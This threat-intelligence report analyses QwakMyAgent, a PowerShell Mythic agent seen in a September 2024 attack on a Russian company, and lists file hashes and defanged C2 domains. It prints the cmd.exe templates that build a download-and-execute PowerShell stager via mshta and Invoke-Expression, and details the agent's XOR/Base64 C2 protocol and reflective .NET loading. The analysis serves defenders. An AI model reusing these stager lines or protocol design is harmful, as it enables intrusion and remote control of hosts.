Attack using the new Mythic agent on PowerShell – “QwakMyAgent”

In the second half of September 2024, specialists Cyber ​​Security Center companies FACCT An attack was detected on a Russian company using a previously undetected Mythic agent written in PowerShell. Experts also joined the study of the new attack FACCT Threat Intelligence. The discovered agent was named by FACCT experts “QwakMyAgent” The agent got its name because when it receives a command to complete its work, QwakMyAgent sends a unique string “Qwak!” to the C2 server.

QwakMyAgent infection chain

The original vector of infection was not detected. After administrators' host systems have been compromised, attackers have been known to make connections to the hosts through the WinRM system service and execute URL-accessible HTA scripts using the mshta.exe system utility. The commands look like mshta.exe {URL}. Example command:

The HTA script, in the context of its execution, creates two files desktop.js And user.txt by executing cmd.exe commands. Command templates:

  • cmd.exe /c echo (new ActiveXObject("Shell.Application")).ShellExecute("%POWERSHELL_PATH%", "-c $Content= Get-Content $env:USERPROFILE\\user.txt; Invoke-Expression $Content", "", "open", "0") > {user_path}\desktop.js

  • cmd.exe /c echo $wuri = new-object system.UriBuilder('ab://' + '{url_to_powershell_script}'); $wuri.Scheme="https"; Invoke-Expression $(New-Object net.webclient).UploadString($wuri.Uri, '') > {user_path}\user.txt

After writing the files it starts desktop.js by executing the command cscript.exe {user_path}\desktop.js. desktop.js – JavaScript script that runs the PowerShell script located in the file user.txt. user.txt – A PowerShell script that downloads and runs the next stage from a URL link. The upload is performed using a POST request that contains an empty string. The response from the server should be a PowerShell script that will be executed using the command Invoke-Expression.

In the cases we detected, the response from the server is either the QwakMyAgent malware or an additional PowerShell module that downloads and runs the Assembly load method.

QwakMyAgent

QwakMyAgent – A PowerShell script that is a previously undetected non-public modular Mythic agent. During its execution, this script sends information about the infected system and cyclically receives and processes commands from the server. In this case, the commands are modules, also written in PowerShell, that will be executed in the context of the QwakMyAgent process.

During its execution, QwakMyAgent performs 2 types of POST requests to the C2 address, which have action types checkin And get_tasking. Both requests have the same data transfer format, which can be represented as a template: BASE64(UUID + BXOR($xml_request_data, {xor_byte_request})). The data received from the server based on the results of both requests will have a similar pattern: BASE64(UUID + BXOR($xml_response_data, {xor_byte_response})). From the name of the variables it is clear that the decrypted data of requests to the server and responses from it will be presented in XML format.

It is important to note that each request type can have multiple C2 addresses. In this case, if the agent fails to connect the specified number of times, the agent will begin attempting to connect to the next C2 address.

checkin request

Has an action type checkin and contains information about the infected machine:

  • action – contains the request type (checkin);

  • ip – internal IP address of the host;

  • os – key value ProductName registry branches HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion;

  • user – user name;

  • host – computer name;

  • domain – user domain name;

  • pid – ID of the current process;

  • uuid – UUID located inside the agent file;

  • architecture – system architecture.

  • integrity_level – system integrity level, determined by searching for one of the list SID values S-1-16-0, S-1-16-4096, S-1-16-8192, S-1-16-12288, S-1-16-16384. The value depends on the order of the found SID value in the list;

  • sleep_info – has the format {seconds}:{deviation_percent} and means the number of seconds with the specified percentage of random deviation, which determines the period of time between repeated execution of requests to the C2 server.

Once the data has been collected, it will be encrypted using a pattern BASE64(UUID + BXOR($xml_response_data, {xor_byte_response})) and sent to the C2 address. Example of data transmitted to the C2 address:

<?xml version="1.0" encoding="utf-8"?>
<Objects>
  <Object Type="System.Management.Automation.PSCustomObject">
    <Property Name="domain" Type="System.String">DESKTOP-B0T93D6</Property>
    <Property Name="sleep_info" Type="System.String">156:23</Property>
    <Property Name="action" Type="System.String">checkin</Property>
    <Property Name="architecture" Type="System.String">x64</Property>
    <Property Name="ip" Type="System.String">192[.]168[.]2[.]13</Property>
    <Property Name="integrity_level" Type="System[.]Int32">3</Property>
    <Property Name="os" Type="System.String">Windows 10 Pro</Property>
    <Property Name="host" Type="System.String">DESKTOP-B0T93D6</Property>
    <Property Name="pid" Type="System[.]Int32">7864</Property>
    <Property Name="uuid" Type="System.String">cf043e1c-a425-4bf5-a340-c91766e249f8</Property>
    <Property Name="user" Type="System.String">george</Property>
  </Object>
</Objects>

The response from the server is encrypted XML data that contains the action, id and status properties.

  • action – type of request to which the response was sent (checkin);

  • id – updated UUID that will be used by the agent in subsequent requests;

  • status – the result of agent registration.

Example of decrypted data received from a C2 address:

<?xml version="1.0" encoding="UTF-8" ?><root><key name="@Type" type="str">System.Management.Automation.PSCustomObject</key><action type="str">checkin</action><id type="str">d553367c-38ed-400d-b0d5-e789ad261d65</id><status type="str">success</status></root>

If registration is successful, the agent execution process will proceed to cyclically poll the C2 server to receive and execute commands.

get_tasking request

This request, with action type get_taskingis used to receive and execute commands from the server. Commands are PowerShell modules that will be executed in the context of the current process. The data transmitted to the server is two parameters:

Example of transmitted data:

<?xml version="1.0" encoding="utf-8"?>
<Objects>
  <Object Type="System.Management.Automation.PSCustomObject">
    <Property Name="tasking_size" Type="System[.]Int32">1</Property>
    <Property Name="action" Type="System.String">get_tasking</Property>
  </Object>
</Objects>

Once the data has been collected in XML format, it will be encrypted and transferred to the C2 address. In response to this request, the C2 address sends encrypted data presented in XML format, which contains the following fields:

  • action – type of request to which the response was sent (get_tasking);

  • tasks – a list containing command objects;

    1. timestamp – timestamp;

    2. command – PowerShell script;

    3. parameters – command parameters;

    4. id – UUID of the command.

Example of transmitted data:

<?xml version="1.0" encoding="UTF-8" ?><root><key name="@Type" type="str">System.Management.Automation.PSCustomObject</key><action type="str">get_tasking</action><tasks type="list"><item type="dict"><timestamp type="int">1726835978</timestamp><command type="str">{powershell_module}</command><parameters type="str"></parameters><id type="str">f305d0e2-5adb-4959-8a29-e40ccc5870f4</id></item></tasks></root>

If the response from the server is successful, QwakMyAgent will launch the received module from the server by executing the command iex {powershell_module}. It's worth noting that the request is executed in a loop that checks the value of a specific variable contained in the body of the script. In order for the C2 server to complete the cyclic execution of requests to receive modules, the server, using the sent module, sets the variable to the desired value, after which the agent will complete its work.

Received commands

During our research, we discovered modules obtained by executing get_tasking-requests. These modules had a similar template and contained functionality for executing certain commands needed by attackers and then sending the result of these requests to the C2 server. As a result of executing the command, an object will be created task_response with information about the execution of a specific command. After which this object will be sent using a POST request to a C2 address, the data of which will contain the following fields:

  • action – contains a string indicating the type of action post_response;

  • responses – contains an object _task_response_.

An example of transmitted data (the agent’s response after receiving a command to complete its work):

<?xml version="1.0" encoding="utf-8"?>
<Objects>
  <Object Type="System.Management.Automation.PSCustomObject">
    <Property Name="responses" Type="System.Object[]">
      <Property Type="System.Management.Automation.PSCustomObject">
        <Property Name="user_output" Type="System.String">Qwak!</Property>
        <Property Name="status" Type="System.String">success</Property>
        <Property Name="task_id" Type="System.String">f305d0e2-5adb-4959-8a29-e40ccc5870f4</Property>
        <Property Name="completed" Type="System.Boolean">True</Property>
      </Property>
    </Property>
    <Property Name="action" Type="System.String">post_response</Property>
  </Object>
</Objects>

After this, the data will be encrypted and transferred to the C2 address. The data format has a pattern similar to previous requests: BASE64(UUID + BXOR($xml_request_data, {xor_byte_request})).

Below is a table with the types of commands and objects that will be sent to the server:

Command type

Description of the result

Shutting down the agent

Object Contents task_response:

task_id – UUID of the module;

user_output – string “Qwak!”; (in connection with which the Trojan got its name)

completed – value 1;

status – the string “success”.

Setting a new sleep value

Object Contents task_response:

task_id – UUID of the module;

user_output – a string using the pattern “Sleep is now {new_sleep} seconds”;

completed – value 1;

status – string “success”;

process_response – a string using the pattern “{new_sleep}:{deviation_percent}”.

Execute an arbitrary command

List of detected arbitrary commands:

qwinsta

get-process

taskkill /F /PID {PID}

Receive-Job -id {ID}

Object Contents task_response:

task_id – UUID of the module;

user_output – contains the result of running a command in PowerShell;

completed – value 1;

status – the string “success” or “error” depending on the result of the command.

Additional PowerShell module

During the investigation, an additional PowerShell script was found that was delivered to the infected system in a similar way to how QwakMyAgent was delivered. However, unlike the agent, this script has different functionality.

This PowerShell script executes a POST request, similar in type of action to those requests that execute command modules (action – post_response). Below is an example of the data that is sent in the request:

<?xml version="1.0" encoding="utf-8"?>
<Objects>
  <Object Type="System.Collections.Hashtable">
    <Property Name="Key" Type="System.String">responses</Property>
    <Property Name="Value" Type="System.Object[]">
      <Property Type="System.Collections.Hashtable">
        <Property Name="Key" Type="System.String">task_id</Property>
        <Property Name="Value" Type="System.String">e5d76f45-ebcd-4edd-bd23-9db5f700b68b</Property>
        <Property Name="Key" Type="System.String">upload</Property>
        <Property Name="Value" Type="System.Collections.Hashtable">
          <Property Name="Key" Type="System.String">file_id</Property>
          <Property Name="Value" Type="System.String">17c56dc2-7e1d-467b-81e2-b773aa22138d</Property>
          <Property Name="Key" Type="System.String">chunk_num</Property>
          <Property Name="Value" Type="System[.]Int32">1</Property>
          <Property Name="Key" Type="System.String">chunk_size</Property>
          <Property Name="Value" Type="System[.]Int32">512000</Property>
        </Property>
      </Property>
    </Property>
    <Property Name="Key" Type="System.String">action</Property>
    <Property Name="Value" Type="System.String">post_response</Property>
  </Object>
</Objects>

The action parameter specifies the request value post_response. The responses parameter contains the following objects:

The request is encrypted with the same algorithm as described above and sent as a POST request to the C2 address.

In response, the server returns an encrypted payload. The script decodes the response sent in Base64 format, then extracts the data after the substring #textonce again decodes the result in Base64 format. As a result, the script expects a .NET assembly with a load, which it will execute by passing it as an argument to the method [System.Reflection.Assembly] ::Load(). Next, the script calls the method Run from assembly SharpRProxy.EntryPointpassing it the URL value hxxp://45[.]151[.]62[.]192. We were unable to detect the .NET assembly containing the class SharpRProxybut based on the name, we assume that this module will perform a Reverse-Proxy connection to the address specified above.

Due to the fact that the type of request to the C2 server executed by the script corresponds to those executed in the QwakMyAgent command modules, we believe that this script may be an interpretation of one of the commands received from the server.

Indicators of compromise

Files

Filename: malty.hta
MD5: c27a147e68e0fe434445d463b1e4edb2
SHA1: da59bdbb06c5dd05447c5d9e08d8e6e0eabe1d47
SHA256: 7f18301c4a994d1cb2f6c86036c2d3f68bd8966135ad60e2fd813c6dda0d1c94

Filename: desktop.js
MD5: e4ba295b48fc4fa31fc047baab38a7a8
SHA1: 0f94bc6a11c18db2bf73603b7d29fdd82a58bd63
SHA256: 7e864c0aaef94530306f5c4906cd545b0556f571caf80d6d662bd6ae4d1e31d2

Filename: user.txt
MD5: 12080a2e9d572410b00acd44f9a80dd9
SHA1: 5739ab43c3820aeb33df28c899528a609110e6f5
SHA256: 74096244af2e145f7f24f21aa1baacc08b3cdf46129770f439b6b139a27083ad

Filename: –
MD5: 151b3d5b02de9e082cd08bb1a9331ba0
SHA1: d1689176f29ba721a347e0b582a53a5fa4eb6a10
SHA256: bd1f595deb4354e2bae65628fa17086234d2ce7c474d100ac2146f915fd832b5

Filename: annexed.hta
MD5: 34caa54373d7e830ed9e85d16eb9647b
SHA1: 15e602f3b4973f7ce7f9ba803df0071a9b106af1
SHA256: 89bbb1b64f9fc9b8df715ee470a17b00b61d7643fc8ebefd5b8fb519e6b9f385

Filename: desktop.js
MD5: 82d69836a8449a5be5d81c5791902f5c
SHA1: de67e2f0c4f0ef841727c468ddab816f82d38050
SHA256: 5b73be0f4baab6270d9ece9fee83b471f32743ccb5a54c4e9c128bd5f605d16c

Filename: user.txt
MD5: 5714e8864c3465c2a0fa33c5ec41fcf2
SHA1: 86915317c828dd1676ffd8bfcca1f976dc96b7f8
SHA256: 41b843176eb50e9a53e5d3532d67a809817dee23d199b90a2c92282a7859c910

Filename: desktop.lnk.vbs
MD5: 433617018bf576cb0a8acc3005948f96
SHA1: b6ea86a83078829ab242b2c1a2e9152096e6d2d7
SHA256: 8d07c463824aae371302cab78ae7964fc1999fd83ab76e4223d7d86b859467b3

Filename: –
MD5: 0a0f04ebf9b77b0077de9a834764e1b7
SHA1: db14125b40cf1fbfd31ee0777740b7d971e45c88
SHA256: 8e4e36913b6a4e4552607c2ba9010ba541ebb31c603e659cc65a5ec0ad60997b

Filename: –
MD5: ea09e9ca0fe14d19518e751e3f1e13e8
SHA1: 0558204c6ae8f4a869f74492cc1e322d27212e78
SHA256: f2112300f9c6a2dd60dee012865340e592189115edc71477f8447aeafd4da2ca

Filename: –
MD5: f1a6dedf5de0b4a50c7d7cbc05edd5b6
SHA1: 44ce4d9f24efb0b8c53cd25c8d4879a116113014
SHA256: 045bfc5202ea042aa1501caf5fccb3516a73d88e6c641897552feb5ac2412755

Filename: –
MD5: 2f34ed8bea8acb3bc52a1a7a2bd901f5
SHA1: 1d1b9607f7bfc636ab7087b23c83ddd5eb0aea33
SHA256: f6ca0dabe6e57d9db799d84c75142dd4ef02b58af9e9bfb98a7ece4b9169b550

Filename: –
MD5: c5e56d35c7e25814cc172b061624c9fc
SHA1: e3aede7fcb56ec2fddeffb1498bc270f165c0426
SHA256: 1978e95fdfa64f1c34af44f28b8b1fb591b915e3cb9867fbcad4e6ba051dcb62

Network indicators

  • hxxps://beltifay[.]com

  • hxxps://andyty[.]com

  • hxxps://warnsatellite[.]com

  • hxxp://appearahead[.]com

  • hxxp://45.151.62[.]192

  • hxxp://guardianyz[.]com/compactions/linesmen/dilapidated/expecting/hallucinated

  • hxxps://beltifay[.]com/inhibiting/cries/aerobe/merchantman/cheeseburgers

  • hxxps://warnsatellite[.]com/jennets/brasilia/commented/ironworks/crumple

  • hxxps://warnsatellite[.]com/embankment/condiments/lover/criteria/malty.hta

  • hxxps://andyty[.]com/drifts/blubbered/glaciations/enticingly/porcupines.hta

  • hxxps://beltifay[.]com/impugnable/orthodox/nurses/intuitively/annexed.hta

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *